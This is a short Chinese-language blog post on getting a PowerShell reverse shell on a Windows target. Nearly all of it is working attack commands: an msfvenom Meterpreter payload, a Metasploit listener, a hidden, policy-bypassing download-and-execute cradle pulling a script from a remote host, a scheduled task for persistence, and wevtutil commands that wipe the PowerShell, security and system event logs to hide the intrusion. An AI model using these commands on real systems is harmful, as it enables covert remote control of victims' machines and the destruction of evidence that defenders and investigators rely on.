PowerShell 反弹渗透技巧

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术,同时也包含了数种系统管理工具、简易且一致的语法,提升管理者的管理能力,自Windows 7 开始一直到Windows 10 包括服务器Windows Server 系统中,都将内置 PowerShell,其可作为白名单的一种绕过方式,也让渗透变得更加有趣。

PowerShell 基本反弹

  1. 生成PowerShell 脚本文件 shell.ps1 并将其放入到Web服务器目录下。
[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f psh-cmd > shell.ps1

[root@localhost ~]# cp -a shell.ps1 /var/www/html/
[root@localhost ~]# systemctl restart httpd

2.MSF运行侦听事件,执行如下命令。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z

3.在靶机执行以下命令,即可完成上线。

C://> powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://lyshark.com/shell.ps1');shell.ps1"
C://> powershell.exe wget "http://lyshark.com/shell.exe" -outfile "C:\shell.exe"

C://> schtasks /create /tn "PowerShell" /tr "这里存放待执行任务" /sc ONLOGON       创建计划任务

4.为防止暴露痕迹,在执行完命令后,需要在靶机执行以下命令,清理痕迹.

Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。

C:\Users\lyshark>wevtutil cl "windows powershell"
C:\Users\lyshark>wevtutil cl "security"
C:\Users\lyshark>wevtutil cl "system"
posted @ 2019-08-15 19:54  lyshark  阅读(1172)  评论(0编辑  收藏  举报

loading... | loading...
博客园 - 开发者的网上家园